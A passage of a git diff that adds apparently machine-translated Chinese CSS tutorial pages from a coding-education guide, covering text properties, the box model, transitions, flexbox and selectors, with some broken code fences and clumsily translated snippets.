+当`list-style-type`设置为`none`时，您可能会注意到列表项前面有额外的间距。在list元素上将`padding`设置为`0` （或者首选任何间距）将覆盖此默认填充。
+
+> ```css
+> /* css */ 
+>  ul { 
+>   list-style: none; 
+>   padding: 0; 
+>  } 
+>  li { 
+>   padding: 5px 10px; 
+>   background-color: #EEEEEE; 
+>   border: 1px solid #DDDDDD; 
+>  } 
+> 
+> ```
+> 
+> ![](https://github.com/kayfo23/imgs-for-fcc-guide/blob/master/list-style-padding.png?raw=true "列表式的一般造型")
+
+* * *
+
+#### 资料来源：
+
+下面的链接在本文中的编译信息中引用。有关此主题的更多详细信息，请访问它们。
+
+#### 更多信息：
+
+[MDN - 样式列表](https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Styling_lists)
+
+[W3Schools - CSS列表](https://www.w3schools.com/css/css_list.asp)
+
+[CSS技巧 - 列表样式](https://css-tricks.com/almanac/properties/l/list-style/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/styling-tables/index.md b/client/src/guide/chinese/css/styling-tables/index.md
new file mode 100644
index 0000000000..d5c17b105d
--- /dev/null
+++ b/client/src/guide/chinese/css/styling-tables/index.md
@@ -0,0 +1,11 @@
+---
+title: Styling Tables
+localeTitle: 造型表
+---
+## 造型表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/styling-tables/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/text-align/index.md b/client/src/guide/chinese/css/text-align/index.md
new file mode 100644
index 0000000000..53b6933a18
--- /dev/null
+++ b/client/src/guide/chinese/css/text-align/index.md
@@ -0,0 +1,49 @@
+---
+title: Text Align
+localeTitle: 文字对齐
+---
+## 文字对齐
+
+此CSS属性描述了其父块元素中内联内容的水平对齐方式。 `text-align`不控制块元素的对齐，它只影响它们的内联内容。
+
+### 价值观：
+
+`text-align`属性指定为从以下值列表中选择的单个关键字：
+
+`text-align: left;`将文本对齐到左侧
+
+`text-align: right;`将文本对齐
+
+`text-align: center;`将文本与中心对齐
+
+`text-align: justify;`使线条宽度相同
+
+`text-align: justify-all;`使线条宽度相同，包括最后一条线条
+
+`text-align: start;`对齐行首的最后一行
+
+`text-align: end;`对齐行尾的最后一行
+
+`text-align: match-parent;`计算值开始和结束父母的方向，并替换为适当的左或右值。
+
+**块对齐值（非标准语法）** ：
+
+`text-align: -moz-center;`
+
+`text-align: -webkit-center;`
+
+**全球价值观** ：
+
+`text-align: inherit;`继承自其父元素
+
+`text-align: initial;`默认值
+
+`text-align: unset;`应用inherit或initial值，具体取决于元素的默认属性
+
+#### 更多信息：
+
+*   [CSS1规格](https://www.w3.org/TR/REC-CSS1/#text-align)
+*   [CSS2规格](https://www.w3.org/TR/CSS21/text.html#alignment-prop)
+*   [CSS3规格](https://www.w3.org/TR/css-text-3/#justification)
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align)
+*   [CSS技巧](https://css-tricks.com/almanac/properties/t/text-align/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/text-indent/index.md b/client/src/guide/chinese/css/text-indent/index.md
new file mode 100644
index 0000000000..bc26f5cd78
--- /dev/null
+++ b/client/src/guide/chinese/css/text-indent/index.md
@@ -0,0 +1,28 @@
+---
+title: Text Indent
+localeTitle: 文字缩进
+---
+## 文字缩进
+
+此CSS属性在文本块中创建第一行的缩进。
+
+### 价值观：
+
+可以使用`%` ， `px` ， `em`或测量单位（如`cm`和`in`指定`text-indent`属性。
+
+例如：
+
+*   `text-indent: 20%;`
+*   `text-indent: 15px;`
+*   `text-indent: 5em;`
+*   `text-indent: 2in;`
+
+`text-indent`属性也可以使用`inherit`值从其父元素`inherit` 。
+
+例如：
+
+*   `text-indent: inherit;`
+
+#### 更多信息：
+
+*   [MDN Web Docs - CSS text-indent](https://developer.mozilla.org/en-US/docs/Web/CSS/text-indent)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/text-shadow/index.md b/client/src/guide/chinese/css/text-shadow/index.md
new file mode 100644
index 0000000000..25497b4db8
--- /dev/null
+++ b/client/src/guide/chinese/css/text-shadow/index.md
@@ -0,0 +1,48 @@
+---
+title: Text Shadow
+localeTitle: 文字阴影
+---
+## 文字阴影
+
+`text-shadow`属性为文本添加阴影。 \`\`\`CSS text-shadow：offset-x offset-y blur-radius color;
+```
+### offset-x 
+ 
+ Sets the horizontal distance from the text. Accepts both positive and negative values. Positive values place shadow to the right of the text while a negative value places the shadow to the left. 
+ 
+ The `offset-x` value is required. 
+ 
+ ### offset-y 
+ 
+ Sets the vertical distance from the text. Accepts both positive and negative values. Positive values place shadow to below the text while a negative value places the shadow above. 
+ 
+ The `offset-y` value is required. 
+ 
+ 
+ ### blur-radius 
+ 
+ Sets the length of the shadow's blur. The larger the value the wider and lighter the shadow becomes. 
+ 
+ The `blur-radius` value is optional. 
+ 
+ ### color 
+ 
+ Sets the color of the shadow. 
+ 
+ The `color` value is optional. 
+ 
+ 
+ ### Example 
+```
+
+CSS text-shadow：1px -2px 5px＃a4a4a4;
+```
+### Example of multiple shadows 
+ Multiple shadows can be used for giving text a solid outline on all 4 directions, like a bubble-writing effect. 
+```
+
+CSS text-shadow：-1px 0 1px black，0 1px 1px black，1px 0 1px black，0 -1px 1px black; \`\`\`
+
+### 更多信息：
+
+MDN文档： [MDN Web Docs - CSS文本阴影](https://developer.mozilla.org/en-US/docs/Web/CSS/text-shadow)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/text/index.md b/client/src/guide/chinese/css/text/index.md
new file mode 100644
index 0000000000..d35932f35b
--- /dev/null
+++ b/client/src/guide/chinese/css/text/index.md
@@ -0,0 +1,66 @@
+---
+title: Text
+localeTitle: 文本
+---
+## 文本
+
+CSS提供了几个属性来更改文本的外观。下面解释各种文本属性。
+
+#### 文字颜色
+
+\`\`\`html
+
+这是CSS文本属性的一个示例。
+```
+``` css 
+ p { 
+    color:red; 
+ } 
+```
+
+在上面的示例中， `<p>`元素的文本`color`更改为红色。您还可以将颜色指定为RGB值，HLS值和十六进制代码（有关颜色的更多信息，请单击[此处](https://guide.freecodecamp.org/css/colors) ）。
+
+#### 文字对齐
+
+`text-align`属性用于设置文本的水平对齐方式。它可以采用`left` ， `right` ， `center`和`justify` 。 \`\`\`css p { text-align：center; }
+```
+Here the text is aligned to the `center` ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-align)).When `text-align` is set to `justify`,each line is stretched so that every line has equal width, and the left and right margins are straight ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-align_all)). 
+ 
+ #### Text Decoration 
+```
+
+CSS p { 文字装饰：下划线; }
+```
+The `text-decoration` property is used to set or remove decorations from text. The value `text-decoration: none;` is often used to remove underlines from links. Other `text-decorations` include `overline`,`line-through`,and `underline` ([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-decoration)). 
+ 
+ #### Text Tranformation 
+```
+
+CSS p { text-transform：capitalize; }
+```
+The `text-transform` property is used to convert the entire text to `uppercase`,`lowercase` or to `capitilize` each word([example](https://www.w3schools.com/css/tryit.asp?filename=trycss_text-transform)). 
+ 
+ #### Letter Spacing 
+ 
+ The `letter-spacing` property sets the space between characters in a text. 
+```
+
+CSS p { 字母间距：5px; }
+```
+#### Line Height 
+ 
+ The `line-height` property sets the space between two lines of text. 
+```
+
+CSS p { line-height：5px; }
+```
+#### Word Spacing 
+ 
+ The `word-spacing` sets the space between words in a text. 
+```
+
+CSS p { 字间距：5px; } \`\`\`
+
+#### 更多信息：
+
+[W3Schools CSS文本](https://w3schools.com/css/css_text.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/the-box-model/index.md b/client/src/guide/chinese/css/the-box-model/index.md
new file mode 100644
index 0000000000..ca96523dc3
--- /dev/null
+++ b/client/src/guide/chinese/css/the-box-model/index.md
@@ -0,0 +1,31 @@
+---
+title: Box Model
+localeTitle: 盒子模型
+---
+## 盒子模型
+
+理解CSS Box模型对于能够正确布局网页至关重要。
+
+当浏览器呈现（绘制）网页时，每个元素（例如，一段文本或图像）被绘制为遵循CSS Box模型的规则的矩形框。
+
+盒子的中心是内容本身，它占据一定的高度和宽度。该区域称为**内容区域** 。可以自动确定内容区域的大小，也可以显式设置高度和宽度的大小。 （参见下面关于`box-sizing` ）
+
+![内容区域图像](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/content%20area.jpg)
+
+在内容区域周围，这是一个称为**填充区域的区域** 。填充的大小可以是相同的（使用`padding`设置），或者您可以单独设置顶部，右侧，底部和左侧填充（使用`padding-top` ， `padding-right` ， `padding-bottom`和`padding-left` ） 。
+
+![填充区域图像](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/padding%20area.jpg)
+
+接下来，有一个**边境地区** 。这会在元素及其填充周围创建边框。您可以设置`border-width`粗细（ `border-width` ），颜色（ `border-color` ）和样式（ `border-style` ）。样式选项包括`none` （无边框）， `solid` ， `dashed` ， `dotted`和其他几个。此外，您可以单独设置4面的边框;例如，顶部边框的`border-top-width` ， `border-top-color`和`border-top-style`的厚度，颜色和样式。 （请参阅下面有关`box-sizing` 。）
+
+![边境地区的形象](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/border%20area.jpg)
+
+最后，还有**保证金区** 。这会在元素，填充和边框周围创建清晰的空间。您可以再次单独设置顶部，右侧，底部和左侧边距（ `margin-top` ， `margin-right` ， `margin-bottom`和`margin-left` ）。在某些情况下，边缘会发生坍塌，并且可以共享相邻元素之间的边距。
+
+![保证金区域图像](https://raw.githubusercontent.com/johnkennedy9147/Resources/master/CSS%20Box%20Model%20Images/margin%20area2.jpg)
+
+**`box-sizing`属性** 此属性的默认值为`content-box` 。如果使用默认值，则框模型将允许作者指定内容区域的大小。但是，可以使用这些来指定边框区域的大小。这是通过将`box-sizing`属性更改为`border-box` 。这有时可以使布局更容易。您可以根据需要为每个元素设置`box-sizing`属性。
+
+#### 更多信息：
+
+[MDN](https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/transition/index.md b/client/src/guide/chinese/css/transition/index.md
new file mode 100644
index 0000000000..06390603ce
--- /dev/null
+++ b/client/src/guide/chinese/css/transition/index.md
@@ -0,0 +1,35 @@
+---
+title: Transition
+localeTitle: 过渡
+---
+## 过渡
+
+`transition`属性允许您在给定的持续时间内平滑地（从一个值到另一个值）更改属性值。 \`\`\`CSS 过渡：全部300毫秒;
+```
+### Transition on Several Property Values 
+ 
+ You can change multiples property values with transition property. 
+```
+
+CSS 过渡：宽度300ms，高度2s;
+```
+### Specify the Speed Curve of the Transition 
+ 
+ You can specify a speed curve on an element in transition property. 
+```
+
+CSS 过渡：高度2s线性;
+```
+or the property `transition-timing-function` 
+```
+
+CSS transition-timing-function：linear; \`\`\`
+
+### `transition-timing-function`不同值
+
+`ease` - 指定缓慢启动的转换效果，然后快速，然后缓慢结束（这是默认值） `linear` - 指定从开始到结束具有相同速度的过渡效果 `ease-in` - 指定缓慢启动的过渡效果 `ease-out` - 指定慢速结束的过渡效果 `ease-in-out` - 指定缓慢开始和结束的过渡效果 `cubic-bezier(n,n,n,n)` - 允许您在cubic-bezier函数中定义自己的值
+
+#### 更多信息：
+
+*   MDN文档： [MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/transition)
+*   Easings参考： [Easings](http://easings.net/en)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/a-complete-guide-to-flexbox/index.md b/client/src/guide/chinese/css/tutorials/a-complete-guide-to-flexbox/index.md
new file mode 100644
index 0000000000..0ee21c13d3
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/a-complete-guide-to-flexbox/index.md
@@ -0,0 +1,11 @@
+---
+title: A Complete Guide to Flexbox
+localeTitle: Flexbox完整指南
+---
+## Flexbox完整指南
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/a-complete-guide-to-flexbox/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/a-guide-to-class-and-id-selectors/index.md b/client/src/guide/chinese/css/tutorials/a-guide-to-class-and-id-selectors/index.md
new file mode 100644
index 0000000000..28a137cfb9
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/a-guide-to-class-and-id-selectors/index.md
@@ -0,0 +1,105 @@
+---
+title: A Guide to Class and Id Selectors
+localeTitle: 类和Id选择器指南
+---
+## 类和Id选择器指南
+
+这是一篇基于CSS选择器的文章。 CSS通常用于样式化HTML元素和网页。要使CSS在页面上设置元素样式，需要首先选择该元素。
+
+就像在删除计算机之前需要在计算机上选择文件一样。您需要准确地告诉您的机器您要修改或删除哪个文件。类似地，你需要告诉CSS在应用不同的样式和颜色时要定位哪个元素。
+
+尽管CSS可以很好地选择元素，但您可以指示它选择非常具体的元素。在本文结束时，您将学习选择和设计特定元素的知识。
+
+### 什么是课程和身份证？
+
+假设您的HTML代码中有5个段落元素。
+
+```html
+
+<p> First paragraph </p> 
+ <p> Second paragraph </p> 
+ <p> Third paragraph </p> 
+ <p> Fourth paragraph </p> 
+ <p> Fifth paragraph </p> 
+```
+
+您可以使用CSS为每个人提供红色的字体颜色。
+
+```css
+p { 
+    color: red; 
+ } 
+```
+
+这很简单！但是如果你只想给第二段字体颜色呢？现在这有点困难。由于我们无法单独识别每个段落元素，因此我们无法单独选择它们。
+
+_救援的等级和ID_
+
+类和ID的行为类似于HTML元素的身份证。两者都有助于将一个元素与另一个元素分开但略有不同。
+
+* * *
+
+假设你遇到一个俱乐部的人。当你向那个人要求他们的俱乐部身份证时，他们会在上面显示一个带有俱乐部名字的人。现在同一个俱乐部的所有成员都拥有相同的身份证吗？
+
+如果有3个俱乐部--A，B和C.那么俱乐部A的所有成员都将拥有相同的身份证。俱乐部B的所有成员也将拥有相同的成员，但他们将与俱乐部A和俱乐部C的身份证不同。这就是你怎么知道谁来自哪个俱乐部。
+
+这就是`class`运作方式。你可以给一组课程提供一些元素，他们将在一个俱乐部。就像所有俱乐部成员必须遵循俱乐部的新规则一样，所有新风格规则都适用于同一俱乐部的元素。
+
+```html
+
+<p class="bike"> Hayabusa </p> 
+ <p class="car"> Chevrolet </p> 
+ <p class="bike"> Hayley-Davidson </p> 
+ <p class="car"> Lamborghini </p> 
+```
+
+这里我们有4个段落。如果你看一下班级名称，就会有2个“俱乐部”。现在我们可以选择我们想要的俱乐部（或团体）并应用我们想要的样式。
+
+```css
+.bike { 
+    color: blue; 
+ } 
+```
+
+您可以通过在组名称前加上句点来选择组而不是特定元素`.`并将所需的样式应用于该组。在此示例中，蓝色的字体颜色仅应用于具有`bike`类的段落。
+
+* * *
+
+如果您了解哪个`class` ，那么ID将很容易理解。
+
+从我们之前的例子中，俱乐部身份证代表俱乐部，所有成员都拥有它。但是，如果您要求提供个人身份证明，则一个人会出示一张只有他们身份证明的身份证。每个人都有不同的，可以用来单独识别它们。
+
+这就是ID。就像个人身份证一样，只有一个HTML元素可以拥有特定的`id` 。没有两个元素具有相同的`id` 。
+
+```html
+
+<p id="car"> Ferrari </p> 
+ <p id="car"> Ford </p> 
+ <!-- This is incorrect--> 
+ 
+ <p id="harley"> Harley-Davidson </p> 
+ <p id="hayabusa"> Hayabusa </p> 
+ <!--This is correct since an id is only used once.--> 
+```
+
+`id`也可以类似于俱乐部内储物柜的私钥。俱乐部里的每个人都有相同的俱乐部身份证，但每个人的储物柜钥匙都是不同的，也是独一无二的。
+
+与`class`示例类似，您可以通过在`#`前面添加id名称来选择特定元素并将样式应用于该元素。
+
+```css
+#hayabusa { 
+    font-style: bold; 
+ } 
+```
+
+* * *
+
+这很容易记住 - 使用`.`在_class_的名称和_id_之前的`#`之前。
+
+两者都有自己的用途。
+
+> 当要在多个元素上应用样式时使用class，并且在要在特定元素上应用样式时使用id。
+
+使用class和id选择和设置特定元素时，请记住这一点。
+
+这样，您就可以在工具箱中添加更多工具，以便在网页上设置样式元素。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/centering-in-css-a-complete-guide/index.md b/client/src/guide/chinese/css/tutorials/centering-in-css-a-complete-guide/index.md
new file mode 100644
index 0000000000..337bb44412
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/centering-in-css-a-complete-guide/index.md
@@ -0,0 +1,11 @@
+---
+title: Centering in CSS a Complete Guide
+localeTitle: 以CSS为中心完整指南
+---
+## 以CSS为中心完整指南
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/centering-in-css-a-complete-guide/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/css-flexbox-tips-and-tricks/index.md b/client/src/guide/chinese/css/tutorials/css-flexbox-tips-and-tricks/index.md
new file mode 100644
index 0000000000..19fa66cda2
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/css-flexbox-tips-and-tricks/index.md
@@ -0,0 +1,130 @@
+---
+title: CSS Flexbox Tips and Tricks
+localeTitle: CSS Flexbox提示和技巧
+---
+# CSS Flexbox
+
+[CSS Flexbox](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes)允许我们轻松地格式化HTML，就像您从未知道的那样。使用flexbox，可以轻松地垂直和水平对齐。喜欢它的声音？我也是。
+
+它对于您的网站或应用程序的总体布局来说也很棒，它易于学习，支持得很好（在所有现代浏览器中）并且非常适合使用，更不用说它不需要很长时间才能掌握！
+
+## Flexbox的
+
+以下是可用于在css中定位元素的flexbox属性列表：
+
+### 可以应用于容器的CSS
+```
+display: flexbox | inline-flex; 
+ flex-direction: row | row-reverse | column | column-reverse; 
+ flex-wrap: nowrap | wrap | wrap-reverse; 
+ flex-flow: <'flex-direction'> || <'flex-wrap'> 
+ justify-content: flex-start | flex-end | center | space-between | space-around; 
+ align-items: flex-start | flex-end | center | baseline | stretch; 
+ align-content: flex-start | flex-end | center | space-between | space-around | stretch; 
+```
+
+### 可以应用于容器中的项目/元素的CSS
+```
+order: <integer>; 
+ flex-grow: <number>; /* default 0 */ 
+ flex-shrink: <number>; /* default 1 */ 
+ flex-basis: <length> | auto; /* default auto */ 
+ flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ] 
+ align-self: auto | flex-start | flex-end | center | baseline | stretch; 
+```
+
+所以现在你有了自己的工具包，但是你问“我如何处理我的工具，我该如何使用它们？”，让我告诉你。
+
+### 显示Flex
+
+`display: flex;`只是告诉你的浏览器嘿我想用这个容器使用flexbox，拜托。这会将此框初始化为flex容器并应用一些默认的flex属性。
+
+这是容器看起来没有`display: flex;`
+
+![CSS playground没有flex属性](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f20f30d24cba9a7f56bf950a3f23d37d356ca51.png)
+
+添加`display: flex;`我们得到以下内容，应用默认的flex属性，使其显示为这样
+
+![CSS playground显示flex默认样式](//discourse-user-assets.s3.amazonaws.com/original/2X/6/66404664f9177ae748be00f769faf67d5956034d.png)
+
+### 弹性方向
+
+`flex-direction:`允许我们控制容器中物品的显示方式，你想要它们从左到右，从右到左，从上到下或从下到上？您可以通过设置容器的弯曲方向轻松完成所有这些操作。
+
+Flexbox将行应用为方向的默认值。这是他们所有的样子：
+
+`flex-direction: row;`
+
+![弯曲方向：行;例](//discourse-user-assets.s3.amazonaws.com/original/2X/9/951cc993820547efa28e70dca905f5531a4488d5.png)
+
+`flex-direction: row-reverse;`
+
+![flex-direction：row-reverse示例](//discourse-user-assets.s3.amazonaws.com/original/2X/c/cf738aaf83f29eccdb461e91b775b10e41b92389.png)
+
+`flex-direction: column;`
+
+![flex-direction：列示例](//discourse-user-assets.s3.amazonaws.com/original/2X/7/7ef77565bc07ee86fd3033a531dd76b49709cf7e.png)
+
+`flex-direction: column-reverse;`
+
+![flex-direction：列反向示例](//discourse-user-assets.s3.amazonaws.com/original/2X/e/ec9a1ec064bf0027fa61016ca620df14d9bd47a9.png)
+
+### Flex Wrap
+
+默认情况下，Flexbox会尝试将所有元素放入一行，但您可以使用flex-wrap属性更改它，这允许您设置元素是否会溢出， `flex-wrap:`有3个属性`flex-wrap:`
+
+`flex-wrap: nowrap`这是默认设置，看起来从左到右适合所有行。
+
+`flex-wrap: wrap`这将允许项目继续创建多行并从左到右。
+
+`flex-wrap: wrap-reverse`允许项目在多行上，但这次显示从右到左。
+
+### Flex Flow
+
+柔性流动将`flex-wrap`和`flex-direction`的使用结合到一个属性中，首先设置方向然后包裹使用它。
+
+`flex-flow: column wrap;`是一个如何使用它的例子。
+
+### 证明内容
+
+`justify-content`是一个属性，用于沿主轴对齐容器中的项目（这取决于内容的显示方式）。这有多种选择，它允许我们填充行上的任何空白空间，但定义我们想要“证明”它的方式。
+
+当我们证明我们的内容`flex-start | flex-end | center | space-between | space-around;`时，我们有以下选项`flex-start | flex-end | center | space-between | space-around;` 。
+
+### 对齐项目
+
+对齐项目允许我们沿横轴对齐项目。这允许使用合理内容以多种不同方式定位内容并将项目对齐在一起。
+
+`align-items: flex-start | flex-end | center | baseline | stretch;`
+
+### 对齐内容
+
+这用于对齐具有多条线的项目，用于在横轴上对齐，并且对一行的内容没有影响。
+
+`align-content: flex-start | flex-end | center | space-between | space-around | stretch;`
+
+## 游戏和应用
+
+[Flexbox Defense](http://www.flexboxdefense.com/)是一款以有趣的方式教授flexbox的网页游戏。
+
+[Flexbox Froggy](http://flexboxfroggy.com/)也是一款以有趣的方式教授flexbox的网页游戏。
+
+[Flexbox in 5](http://flexboxin5.com/)是一款网络应用程序，可让您通过一些简单的控件查看flexbox的工作原理。
+
+[Flexyboxes](http://the-echoplex.net/flexyboxes/)是一个应用程序，它允许您查看代码示例和更改参数，以查看Flexbox如何在视觉上工作。
+
+[Flexbox Patters](http://www.flexboxpatterns.com)是一个展示大量Flexbox示例的网站
+
+## 文档
+
+[Mozilla开发者网络](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes)
+
+[CSS技巧](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
+
+## 影片
+
+[Flexbox Essentials](https://www.youtube.com/watch?v=G7EIAgfkhmg)
+
+[Flexbox实例](https://www.youtube.com/watch?v=H1lREysgdgc)
+
+[什么是Flexbox？！](https://www.youtube.com/watch?v=Vj7NZ6FiQvo&list=PLu8EoSxDXHP7xj_y6NIAhy0wuCd4uVdid)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/css-selectors-cheat-sheet/index.md b/client/src/guide/chinese/css/tutorials/css-selectors-cheat-sheet/index.md
new file mode 100644
index 0000000000..8a59444bb6
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/css-selectors-cheat-sheet/index.md
@@ -0,0 +1,62 @@
+---
+title: CSS Selectors Cheat Sheet
+localeTitle: CSS选择器备忘单
+---
+# CSS选择器
+
+在CSS中，选择器是用于选择DOM元素的模式。
+
+以下是使用选择器的示例。在以下代码中， `a`和`h1`是选择器：
+
+```css
+a { 
+  color: black; 
+ } 
+ 
+ h1 { 
+  font-size 24px; 
+ } 
+```
+
+## 选择器的作弊清单
+
+|选择器|选择|  
+| --- | --- | | `head` |选择带有`head`标签的元素  
+| `.red` |选择所有带有'red'类的元素  
+| `#nav` |使用'nav'Id |选择元素  
+| `div.row` |选择具有`div`标签和'row'类的所有元素 | `[aria-hidden="true"]` |选择具有值为“true”|的`aria-hidden`属性的所有元素 | `*` |通配符选择器。选择所有DOM元素。请参阅下面与其他选择器一起使用|
+
+我们可以以有趣的方式组合选择器。一些例子：
+
+|选择器|选择|  
+| --- | --- | | `li a` | DOM后代组合子。所有的`a`标记，是一个孩子`li`标签|  
+| `div.row *` |选择具有`div`标签和'row'class |的元素的后代（或子元素）的所有元素  
+| `li > a` |差异组合子。选择直接后代，而不是所有后代，如后代选择器|  
+| `li + a` |相邻的组合子。它选择紧跟前一个元素的元素。在这种情况下，每个`li`只有第一个`a` 。 |  
+| `li, a` |选择所有`a`元素和所有的`li`元素。 |  
+| `li ~ a` |兄弟姐妹的组合子。选择`a`承接元件`li`元件。 |
+
+伪选择器或伪结构类对于从DOM中选择结构元素也是有用的。这里是其中的一些：
+
+|选择器|选择| | --- | --- |  
+| `:first-child` |在另一个元素的内部（或子元素）内立即定位第一个元素  
+| `:last-child` |在另一个元素的内部（或子元素）内立即定位最后一个元素  
+| `:nth-child()` |直接在另一个元素的内部（或子元素）中定位第n个元素。承认整数， `even` ， `odd`或公式|  
+| `a:not(.name)` |选择所有不属于`.name`类`a`元素  
+| `::after` |允许从CSS而不是HTML将内容插入页面。虽然最终结果实际上不在DOM中，但它在页面上显示为好像是。此内容在HTML元素之后加载。 |  
+| `::before` |允许从CSS而不是HTML将内容插入页面。虽然最终结果实际上不在DOM中，但它在页面上显示为好像是。此内容在HTML元素之前加载。 |
+
+我们可以使用伪类来定义DOM元素的特殊状态，但不要单独指向元素。一些例子：
+
+|伪类|选择| | --- | --- | | `:hover` |选择一个被鼠标指针悬停的元素  
+| `:focus` |选择一个从键盘接收焦点的元素或以编程方式| | `:active` |选择被鼠标指针点击的元素  
+| `:link` |选择尚未点击的所有链接|  
+| `:visited` |选择已被点击的链接
+
+## 游戏
+
+[CSS Diner](http://flukeout.github.io)是一款网络游戏，教授几乎所有关于组合选择器的知识。
+
+## 补充参考
+
+还有更多的CSS选择器！在[CodeTuts](http://code.tutsplus.com/tutorials/the-30-css-selectors-you-must-memorize--net-16048) ， [CSS-tricks.com](https://css-tricks.com/almanac/selectors/) ， [w3schools.com](http://www.w3schools.com/cssref/css_selectors.asp)或[Mozilla Developer Network上](https://developer.mozilla.org/en/docs/Web/Guide/CSS/Getting_started/Selectors)了解它们。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md b/client/src/guide/chinese/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md
new file mode 100644
index 0000000000..fb3db2c067
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Absolute Center an Image Both Vertical and Horizontal
+localeTitle: 如何绝对居中图像垂直和水平
+---
+## 如何绝对居中图像垂直和水平
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/how-to-absolute-center-an-image-both-vertical-and-horizontal/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/how-to-add-stroke-to-web-text/index.md b/client/src/guide/chinese/css/tutorials/how-to-add-stroke-to-web-text/index.md
new file mode 100644
index 0000000000..833c27ccc3
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/how-to-add-stroke-to-web-text/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Add Stroke to Web Text
+localeTitle: 如何在Web文本中添加笔划
+---
+## 如何在Web文本中添加笔划
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/how-to-add-stroke-to-web-text/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/index.md b/client/src/guide/chinese/css/tutorials/index.md
new file mode 100644
index 0000000000..7fc03d3dc5
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/index.md
@@ -0,0 +1,11 @@
+---
+title: Tutorials
+localeTitle: 教程
+---
+## 教程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/tutorials/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/tutorials/introduction-to-css/index.md b/client/src/guide/chinese/css/tutorials/introduction-to-css/index.md
new file mode 100644
index 0000000000..938ff0f314
--- /dev/null
+++ b/client/src/guide/chinese/css/tutorials/introduction-to-css/index.md
@@ -0,0 +1,55 @@
+---
+title: Introduction to CSS
+localeTitle: CSS简介
+---
+## CSS简介
+
+### 什么是CSS？
+
+层叠样式表（CSS）描述了页面上的html应该如何显示。
+
+在CSS开发人员在页面的每个节点上使用属性或特殊标记应用样式之前。这使得标记重复并且容易出错。
+
+CSS允许选择器描述每个匹配内容的外观。
+
+```CSS
+body { 
+    font-size: 15px; 
+ } 
+ 
+ a { 
+    color: rebeccapurple; 
+    text-decoration: underline; 
+ } 
+```
+
+### 使用CSS
+
+**外部样式表**允许许多页面共享相同的样式。
+
+```HTML
+<link href="styles.css" rel="stylesheet" type="text/css"> 
+```
+
+**内部样式表**将CSS应用于页面上的所有匹配标记。
+
+```HTML
+<style> 
+    h1 { 
+        font-family: sans-serif; 
+        margin-bottom: 1.5em; 
+    } 
+ </style> 
+```
+
+**内联CSS**将样式应用于单个标记。
+
+```HTML
